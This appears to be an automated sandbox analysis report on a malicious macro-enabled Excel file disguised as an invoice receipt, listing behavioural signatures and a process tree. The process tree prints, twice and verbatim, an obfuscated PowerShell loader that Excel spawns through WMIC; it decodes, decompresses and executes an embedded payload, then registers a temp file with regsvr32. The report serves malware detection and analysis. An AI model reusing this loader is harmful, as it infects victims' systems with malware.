Overview

overview

10

Static

static

awb_323260...t.xlsm

windows7_x64

10

awb_323260...t.xlsm

windows10_x64

10

Analysis

  • max time kernel
    76s
  • max time network
    129s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    24/06/2020, 15:07

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    awb_3232603305_invoice-receipt.xlsm
  • Size 78KB
  • Sample200624-9d57791vjs
  • SHA256 f8bcbdcee35ecafe53c58b8a35bf93db799e7a42136ecb7332d636745744c400
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Signatures

  • Suspicious use of WriteProcessMemory 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 43 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious use of SetWindowsHookEx 19 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\awb_3232603305_invoice-receipt.xlsm"
    1⤵
    • Suspicious use of WriteProcessMemory
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious use of SetWindowsHookEx
    • Suspicious behavior: AddClipboardFormatListener
    PID:3848
    • C:\Windows\System32\Wbem\Wmic.exe
      Wmic 'pROCeSs' CALL "creatE" "powERsHeLl -NonInteRACTiVe -noProfILe -ExecUtiO BypASS $P4B= ([CHAR]34).TOStrIng() ;$U5S =[STRing][CHaR]44 ; & ( $PSHOme[21]+$pshoME[34]+'X')("\"&(${P4B}{0}{1}${P4B} -f 's'${U5S}'al') (${P4B}{0}{1}${P4B}-f'pin'${U5S}'g') (${P4B}{2}{0}{1}${P4B} -f'je'${U5S}'ct'${U5S}(${P4B}{1}{0}${P4B}-f'Ob'${U5S}'New-'));.(${P4B}{0}{1}{2}${P4B}-f'S'${U5S}'eT-'${U5S}'ITem') (${P4B}Var${P4B}+${P4B}IA${P4B}+${P4B}Bl${P4B}+${P4B}e:1D5${P4B}+${P4B}g${P4B}) ( [tyPE](${P4B}{0}{1}{2}{3}${P4B}-F'sysTeM.c'${U5S}'on'${U5S}'ve'${U5S}'rT') ) ;.(${P4B}{1}{0}${P4B} -f'et'${U5S}'s') (${P4B}{0}{1}${P4B}-f 'NL2'${U5S}'oX') ( [TYpE](${P4B}{4}{0}{8}{7}{2}{3}{6}{1}{5}${P4B}-F 'coMPRe'${U5S}'omPResSIoNMOD'${U5S}'i'${U5S}'O'${U5S}'Io.'${U5S}'e'${U5S}'N.C'${U5S}'S'${U5S}'S')); `$K6s = [TYPE](${P4B}{1}{2}{0}${P4B} -F'nG'${U5S}'TExT.'${U5S}'eNCOdi'); &( `${Sh`ElL`ID}[1]+`${S`hEll`ID}[13]+'x') ( &(${P4B}{0}{1}${P4B} -f 'p'${U5S}'ing') (${P4B}{3}{8}{6}{0}{4}{2}{1}{7}{5}${P4B} -f'on.'${U5S}'LA'${U5S}'F'${U5S}'i'${U5S}'de'${U5S}'m'${U5S}'MPreSsi'${U5S}'tesTrea'${U5S}'o.cO')( [sYstem.IO.MEMORYstrEaM] (.(${P4B}{3}{2}{0}{1}${P4B} -f 'rIaB'${U5S}'Le'${U5S}'-va'${U5S}'GeT') (${P4B}1D${P4B}+${P4B}5G${P4B}) -VAlu )::(${P4B}{0}{3}{1}{2}${P4B}-f 'f'${U5S}'64striN'${U5S}'g'${U5S}'ROmBAse').Invoke( (${P4B}{62}{0}{30}{42}{78}{9}{14}{69}{76}{41}{21}{47}{70}{60}{59}{10}{51}{31}{26}{1}{55}{38}{64}{7}{22}{3}{43}{6}{68}{25}{67}{34}{57}{74}{32}{61}{63}{28}{66}{58}{24}{37}{44}{52}{36}{13}{73}{65}{16}{15}{29}{72}{19}{27}{49}{8}{75}{20}{23}{4}{12}{39}{77}{18}{35}{46}{50}{48}{45}{40}{53}{33}{5}{17}{54}{2}{71}{56}{11}${P4B} -f 'pYQGhySbMq5ckAQt8awtiAvrP77nRkTMNnuhwjbkublmWdekkqfMb9y'${U5S}'jI5BG0psxQt9rPze'${U5S}'L5g6wgRjovaSrViqQdjCiYIc098o15vXrePiIM2jkim5bnRkbaBdAM/kEITjeLwlpJNGKBRbUT7m9LJcw'${U5S}'1JhbXnsz'${U5S}'Y5e5hg0jW'${U5S}'ICoZBuXwl'${U5S}'nGNYT36aB++rx4'${U5S}'/OIpWjsBFRubtR0FsxM7APWIjRqPk6pXqzkuV'${U5S}'VuK0TaQT3UHdd8WsR10zBK8K6zHWhHxSIPdGWUOAi1P9t52fSrKgQ6XD'${U5S}'msWPGWOHrk/ep'${U5S}'2+0MHmN8ehIvL7phv4KDRENEwTn'${U5S}'LxSkny8N70t0AGUQLcRDAAidJpAYPpXZkU4LF1g/3XiKeE6UUdEXixTI/MWrwycS8IOn/wfMIYi3a/c3Rhm/Fs3wryBcsG/j7f/QFj/Bw=='${U5S}'QE72jUqJ1lF/h3zF1RD5mMVG0AraGwwfpt0MDDcU9Ul'${U5S}'SqcomH8rF'${U5S}'gZIkSgIBn0jYkUap/'${U5S}'WDyia'${U5S}'15mT2'${U5S}'2IKGhhTqLHEV7'${U5S}'L2KhYforNC'${U5S}'GTWF8EijK+Mc4oqyZCwdCZpp3rYcguRsOzX80'${U5S}'lhL'${U5S}'/QQD4GT6rZHplU3ToI'${U5S}'Ro3ysKucNhPEbX+'${U5S}'THjphJ'${U5S}'ZxMZNIPXyQ7OAJdc0heds'${U5S}'MfQDaFXkKWuBQS7R0I/ux9w+niwjB'${U5S}'TcGmxciPNGWbcwcL370RFeM54/iTDjdk440QOoI1d9dLmMVziRApGQyX/RlsgpBjH0WxONIXsrJEH18ynmIihchUnwKu'${U5S}'NqiTm4Qh61AL2Gqh6mgpL2IoZnQpNxJgydycx3uDYGsbX'${U5S}'EGwQK7G7TnnHz+wnUcgtkoAj'${U5S}'qAzKhVcXGFpBtQYIH3xB/EW'${U5S}'UGX'${U5S}'jAkg5+ExIO/p7zEwgJWjIlvWROqjCAMk1Rl'${U5S}'IJzoS'${U5S}'4lDqo8U/Imwr90/z5HWjJ3oKd75E+jd8WyiQ28rkDi2aLFcrt'${U5S}'VW5BeKGUhp/Ij'${U5S}'ut0/SwXjeuhH/62djNVasALPvzCceqdR8nAxjdVjDKOUACmDe'${U5S}'R9Rw4HoSUg7XP0yoRG'${U5S}'DKMmAYbVb+axlKZUFpXLviBMOWs2TTBckeKi2/LpKV0meE2cXbrhhrgOEGS1xxXxh'${U5S}'bB5ZXTWTJm1es5lmYOM56oMIi6wQyEddDtYHwdqodegGm1CzS/DnkRgzjTRQ5u8+LWeCJIE8+nSD9rZyZWB/jclgrYvpO174YNkkv8vM'${U5S}'ZzGuOx5TCW2Tdz3olmGshpmw91RO4XNHfHM0A9kXwhm/LZEUr9l8tZcb6U7mIkKrIvEtg'${U5S}'3Gj18kK9RAtmur'${U5S}'OM3Po9/FZak'${U5S}'MZHf+7cI'${U5S}'dM8xW+eMBC+JnxhSXHpd'${U5S}'J4ti9AEDk9kjmWSj'${U5S}'Vknshg9AC7nvA1C'${U5S}'NM6NofK29QN'${U5S}'Vp9yW8egCZI29bhv1yhufWxY59PCz9meDwb3nDJzM+'${U5S}'SQW9+kruLH2OPuIcqwjDEj9N5rMmMj3d8/5F3OQnq34Ao9'${U5S}'sIU82IxuPjpGiZxfNuLQN3mDhFycxGCY22y0TUsq/xlHsavzbKw'${U5S}'DtAfRn'${U5S}'Av3wCa6DAUVa+Op0ns0BBZH9rAmaFtSMc3cgi+IoNXIzDGDmahu'${U5S}'HiPAzFFF9bENNxcT/RTrf'${U5S}'Gf00CTCx8hGw1++fc588xcxzEPHjOoNn2ErjqKepKK2AyDo4KrAC9JmLTQZFQ6kHtjw5EIlIsM8U2RhfiqusbtAU0LxbRnLZmRZiKR6BuaN41n5Uc'${U5S}'uQysz3hkWUOdHDw5NXeGn6tKL24ZJbMIp3GRsGjK2wn8bmh1Z92puABO8Za+wfVLI8tX7mkqDkk4Uoak4E+Uj9ah'${U5S}'bfQnUVIN1qBNqslDLB1bJrMHASJFzQ7bp'${U5S}'j1U'${U5S}'Zp+44misJV4a5kkMsa39k4YxMa4SoW8NG'${U5S}'mu73kw3D6MiXjqSjBQ7k1j2NMvRaWC6nz2fJLpEDJXXW4VzYIEj/BkzNqIeN9ZFm5u'${U5S}'nUiY628l/7+PVZRNo6TqRaJjErrP+nNVhy/hUsm6Vo'${U5S}'rwL/SxaNzNAD0sbw8g3B3Yar6HBhHYuubhxU3h9U4OU20g3O4aGvG/jehq3jyTIeqXAes/OqWViH4kxb6wI+nWk7s6u6AWHC0yWIj6ew3KcqCblle/Fq/lPC8am2WDmRiygYSZOXeQ'${U5S}'hooHFKBPygohupNVBeIXP0DoY/W3iEnh'${U5S}'dVdtd9q4Ev4rqg+7sgu4BJq0lxzOXkMc4'${U5S}'/ASBMACewTHcWO'${U5S}'8tkH97rov561X7CjZr2d5MF'${U5S}'AWhSugJRB8zoSmVfy/tWFMrCw71BW'${U5S}'+BxIoFak+Dif'${U5S}'UDncGfG1D5n7u8ln'${U5S}'eYZRGI+LfFhjGUe6'${U5S}'9HrzyS4qteHJJjxMG6BEG8MixvDkt72ffixr2FRoUJtYc9BRfLcTmVreen5z3Yv'${U5S}'oo20HiZoK2jiy6sA76BIKy5ztGAsQYg+pzhkGkqn4K7F/YEXYokR/mpq8qecs8ZGwSXYYAG'${U5S}'D4'${U5S}'bYwQ7QvJ2pKQ8C6LQoGxuoyUdbj/OpThl'${U5S}'pgLI8KK8FHCx+uEeTnyEn'${U5S}'xj'${U5S}'Uj+VmGz'${U5S}'gQ8Xj3282h2DetKehszkA17kTuI58N'${U5S}'OTFKqH4O+TuXrdClkRbNmXYbKFJso1c3EBrDRk8TVeUMUSu'${U5S}'dmsb6o15X9PpAr2t6XdUGK0+4HPES98M5rLfw17Wdfipn9x14TuSkwy1') ) ${U5S} ( &(${P4B}{0}{1}{2}${P4B}-f'V'${U5S}'aRIaBl'${U5S}'E') (${P4B}{0}{1}${P4B} -f 'nL2O'${U5S}'x') ).vaLUe::${P4B}De`coMp`R`esS${P4B} )|.(${P4B}{3}{0}{2}{1}${P4B} -f'AcH-'${U5S}'t'${U5S}'objeC'${U5S}'FoRe') {&(${P4B}{1}{0}${P4B} -f 'ng'${U5S}'Pi') (${P4B}{0}{3}{2}{1}{4}${P4B}-f 'io.'${U5S}'A'${U5S}'re'${U5S}'sTReAm'${U5S}'der')( `${_}${U5S} (.(${P4B}{0}{1}${P4B} -f'd'${U5S}'IR') ('vaRIAB'+'LE:k6'+'s') ).VALue::${P4B}U`TF8${P4B}) } | .(${P4B}{1}{2}{0}{3}${P4B} -f'ObjEC'${U5S}'FORe'${U5S}'aCh-'${U5S}'t'){`${_}.(${P4B}{1}{0}{2}${P4B}-f'd'${U5S}'REA'${U5S}'TOEND').Invoke( ) })"\" ) "
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      • Process spawned unexpected child process
      PID:3984
  • C:\Windows\System32\WindowsPowerShell\v1.0\powERsHeLl.exe
    powERsHeLl -NonInteRACTiVe -noProfILe -ExecUtiO BypASS $P4B= ([CHAR]34).TOStrIng() ;$U5S =[STRing][CHaR]44 ; & ( $PSHOme[21]+$pshoME[34]+'X')("\"&(${P4B}{0}{1}${P4B} -f 's'${U5S}'al') (${P4B}{0}{1}${P4B}-f'pin'${U5S}'g') (${P4B}{2}{0}{1}${P4B} -f'je'${U5S}'ct'${U5S}(${P4B}{1}{0}${P4B}-f'Ob'${U5S}'New-'));.(${P4B}{0}{1}{2}${P4B}-f'S'${U5S}'eT-'${U5S}'ITem') (${P4B}Var${P4B}+${P4B}IA${P4B}+${P4B}Bl${P4B}+${P4B}e:1D5${P4B}+${P4B}g${P4B}) ( [tyPE](${P4B}{0}{1}{2}{3}${P4B}-F'sysTeM.c'${U5S}'on'${U5S}'ve'${U5S}'rT') ) ;.(${P4B}{1}{0}${P4B} -f'et'${U5S}'s') (${P4B}{0}{1}${P4B}-f 'NL2'${U5S}'oX') ( [TYpE](${P4B}{4}{0}{8}{7}{2}{3}{6}{1}{5}${P4B}-F 'coMPRe'${U5S}'omPResSIoNMOD'${U5S}'i'${U5S}'O'${U5S}'Io.'${U5S}'e'${U5S}'N.C'${U5S}'S'${U5S}'S')); `$K6s = [TYPE](${P4B}{1}{2}{0}${P4B} -F'nG'${U5S}'TExT.'${U5S}'eNCOdi'); &( `${Sh`ElL`ID}[1]+`${S`hEll`ID}[13]+'x') ( &(${P4B}{0}{1}${P4B} -f 'p'${U5S}'ing') (${P4B}{3}{8}{6}{0}{4}{2}{1}{7}{5}${P4B} -f'on.'${U5S}'LA'${U5S}'F'${U5S}'i'${U5S}'de'${U5S}'m'${U5S}'MPreSsi'${U5S}'tesTrea'${U5S}'o.cO')( [sYstem.IO.MEMORYstrEaM] (.(${P4B}{3}{2}{0}{1}${P4B} -f 'rIaB'${U5S}'Le'${U5S}'-va'${U5S}'GeT') (${P4B}1D${P4B}+${P4B}5G${P4B}) -VAlu )::(${P4B}{0}{3}{1}{2}${P4B}-f 'f'${U5S}'64striN'${U5S}'g'${U5S}'ROmBAse').Invoke( (${P4B}{62}{0}{30}{42}{78}{9}{14}{69}{76}{41}{21}{47}{70}{60}{59}{10}{51}{31}{26}{1}{55}{38}{64}{7}{22}{3}{43}{6}{68}{25}{67}{34}{57}{74}{32}{61}{63}{28}{66}{58}{24}{37}{44}{52}{36}{13}{73}{65}{16}{15}{29}{72}{19}{27}{49}{8}{75}{20}{23}{4}{12}{39}{77}{18}{35}{46}{50}{48}{45}{40}{53}{33}{5}{17}{54}{2}{71}{56}{11}${P4B} -f 'pYQGhySbMq5ckAQt8awtiAvrP77nRkTMNnuhwjbkublmWdekkqfMb9y'${U5S}'jI5BG0psxQt9rPze'${U5S}'L5g6wgRjovaSrViqQdjCiYIc098o15vXrePiIM2jkim5bnRkbaBdAM/kEITjeLwlpJNGKBRbUT7m9LJcw'${U5S}'1JhbXnsz'${U5S}'Y5e5hg0jW'${U5S}'ICoZBuXwl'${U5S}'nGNYT36aB++rx4'${U5S}'/OIpWjsBFRubtR0FsxM7APWIjRqPk6pXqzkuV'${U5S}'VuK0TaQT3UHdd8WsR10zBK8K6zHWhHxSIPdGWUOAi1P9t52fSrKgQ6XD'${U5S}'msWPGWOHrk/ep'${U5S}'2+0MHmN8ehIvL7phv4KDRENEwTn'${U5S}'LxSkny8N70t0AGUQLcRDAAidJpAYPpXZkU4LF1g/3XiKeE6UUdEXixTI/MWrwycS8IOn/wfMIYi3a/c3Rhm/Fs3wryBcsG/j7f/QFj/Bw=='${U5S}'QE72jUqJ1lF/h3zF1RD5mMVG0AraGwwfpt0MDDcU9Ul'${U5S}'SqcomH8rF'${U5S}'gZIkSgIBn0jYkUap/'${U5S}'WDyia'${U5S}'15mT2'${U5S}'2IKGhhTqLHEV7'${U5S}'L2KhYforNC'${U5S}'GTWF8EijK+Mc4oqyZCwdCZpp3rYcguRsOzX80'${U5S}'lhL'${U5S}'/QQD4GT6rZHplU3ToI'${U5S}'Ro3ysKucNhPEbX+'${U5S}'THjphJ'${U5S}'ZxMZNIPXyQ7OAJdc0heds'${U5S}'MfQDaFXkKWuBQS7R0I/ux9w+niwjB'${U5S}'TcGmxciPNGWbcwcL370RFeM54/iTDjdk440QOoI1d9dLmMVziRApGQyX/RlsgpBjH0WxONIXsrJEH18ynmIihchUnwKu'${U5S}'NqiTm4Qh61AL2Gqh6mgpL2IoZnQpNxJgydycx3uDYGsbX'${U5S}'EGwQK7G7TnnHz+wnUcgtkoAj'${U5S}'qAzKhVcXGFpBtQYIH3xB/EW'${U5S}'UGX'${U5S}'jAkg5+ExIO/p7zEwgJWjIlvWROqjCAMk1Rl'${U5S}'IJzoS'${U5S}'4lDqo8U/Imwr90/z5HWjJ3oKd75E+jd8WyiQ28rkDi2aLFcrt'${U5S}'VW5BeKGUhp/Ij'${U5S}'ut0/SwXjeuhH/62djNVasALPvzCceqdR8nAxjdVjDKOUACmDe'${U5S}'R9Rw4HoSUg7XP0yoRG'${U5S}'DKMmAYbVb+axlKZUFpXLviBMOWs2TTBckeKi2/LpKV0meE2cXbrhhrgOEGS1xxXxh'${U5S}'bB5ZXTWTJm1es5lmYOM56oMIi6wQyEddDtYHwdqodegGm1CzS/DnkRgzjTRQ5u8+LWeCJIE8+nSD9rZyZWB/jclgrYvpO174YNkkv8vM'${U5S}'ZzGuOx5TCW2Tdz3olmGshpmw91RO4XNHfHM0A9kXwhm/LZEUr9l8tZcb6U7mIkKrIvEtg'${U5S}'3Gj18kK9RAtmur'${U5S}'OM3Po9/FZak'${U5S}'MZHf+7cI'${U5S}'dM8xW+eMBC+JnxhSXHpd'${U5S}'J4ti9AEDk9kjmWSj'${U5S}'Vknshg9AC7nvA1C'${U5S}'NM6NofK29QN'${U5S}'Vp9yW8egCZI29bhv1yhufWxY59PCz9meDwb3nDJzM+'${U5S}'SQW9+kruLH2OPuIcqwjDEj9N5rMmMj3d8/5F3OQnq34Ao9'${U5S}'sIU82IxuPjpGiZxfNuLQN3mDhFycxGCY22y0TUsq/xlHsavzbKw'${U5S}'DtAfRn'${U5S}'Av3wCa6DAUVa+Op0ns0BBZH9rAmaFtSMc3cgi+IoNXIzDGDmahu'${U5S}'HiPAzFFF9bENNxcT/RTrf'${U5S}'Gf00CTCx8hGw1++fc588xcxzEPHjOoNn2ErjqKepKK2AyDo4KrAC9JmLTQZFQ6kHtjw5EIlIsM8U2RhfiqusbtAU0LxbRnLZmRZiKR6BuaN41n5Uc'${U5S}'uQysz3hkWUOdHDw5NXeGn6tKL24ZJbMIp3GRsGjK2wn8bmh1Z92puABO8Za+wfVLI8tX7mkqDkk4Uoak4E+Uj9ah'${U5S}'bfQnUVIN1qBNqslDLB1bJrMHASJFzQ7bp'${U5S}'j1U'${U5S}'Zp+44misJV4a5kkMsa39k4YxMa4SoW8NG'${U5S}'mu73kw3D6MiXjqSjBQ7k1j2NMvRaWC6nz2fJLpEDJXXW4VzYIEj/BkzNqIeN9ZFm5u'${U5S}'nUiY628l/7+PVZRNo6TqRaJjErrP+nNVhy/hUsm6Vo'${U5S}'rwL/SxaNzNAD0sbw8g3B3Yar6HBhHYuubhxU3h9U4OU20g3O4aGvG/jehq3jyTIeqXAes/OqWViH4kxb6wI+nWk7s6u6AWHC0yWIj6ew3KcqCblle/Fq/lPC8am2WDmRiygYSZOXeQ'${U5S}'hooHFKBPygohupNVBeIXP0DoY/W3iEnh'${U5S}'dVdtd9q4Ev4rqg+7sgu4BJq0lxzOXkMc4'${U5S}'/ASBMACewTHcWO'${U5S}'8tkH97rov561X7CjZr2d5MF'${U5S}'AWhSugJRB8zoSmVfy/tWFMrCw71BW'${U5S}'+BxIoFak+Dif'${U5S}'UDncGfG1D5n7u8ln'${U5S}'eYZRGI+LfFhjGUe6'${U5S}'9HrzyS4qteHJJjxMG6BEG8MixvDkt72ffixr2FRoUJtYc9BRfLcTmVreen5z3Yv'${U5S}'oo20HiZoK2jiy6sA76BIKy5ztGAsQYg+pzhkGkqn4K7F/YEXYokR/mpq8qecs8ZGwSXYYAG'${U5S}'D4'${U5S}'bYwQ7QvJ2pKQ8C6LQoGxuoyUdbj/OpThl'${U5S}'pgLI8KK8FHCx+uEeTnyEn'${U5S}'xj'${U5S}'Uj+VmGz'${U5S}'gQ8Xj3282h2DetKehszkA17kTuI58N'${U5S}'OTFKqH4O+TuXrdClkRbNmXYbKFJso1c3EBrDRk8TVeUMUSu'${U5S}'dmsb6o15X9PpAr2t6XdUGK0+4HPES98M5rLfw17Wdfipn9x14TuSkwy1') ) ${U5S} ( &(${P4B}{0}{1}{2}${P4B}-f'V'${U5S}'aRIaBl'${U5S}'E') (${P4B}{0}{1}${P4B} -f 'nL2O'${U5S}'x') ).vaLUe::${P4B}De`coMp`R`esS${P4B} )|.(${P4B}{3}{0}{2}{1}${P4B} -f'AcH-'${U5S}'t'${U5S}'objeC'${U5S}'FoRe') {&(${P4B}{1}{0}${P4B} -f 'ng'${U5S}'Pi') (${P4B}{0}{3}{2}{1}{4}${P4B}-f 'io.'${U5S}'A'${U5S}'re'${U5S}'sTReAm'${U5S}'der')( `${_}${U5S} (.(${P4B}{0}{1}${P4B} -f'd'${U5S}'IR') ('vaRIAB'+'LE:k6'+'s') ).VALue::${P4B}U`TF8${P4B}) } | .(${P4B}{1}{2}{0}{3}${P4B} -f'ObjEC'${U5S}'FORe'${U5S}'aCh-'${U5S}'t'){`${_}.(${P4B}{1}{0}{2}${P4B}-f'd'${U5S}'REA'${U5S}'TOEND').Invoke( ) })"\" )
    1⤵
    • Suspicious use of WriteProcessMemory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Process spawned unexpected child process
    PID:3744
    • C:\Windows\system32\regsvr32.exe
      "C:\Windows\system32\regsvr32.exe" -s C:\Users\Admin\AppData\Local\Temp\tmp607F.
      2⤵
        PID:1532

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads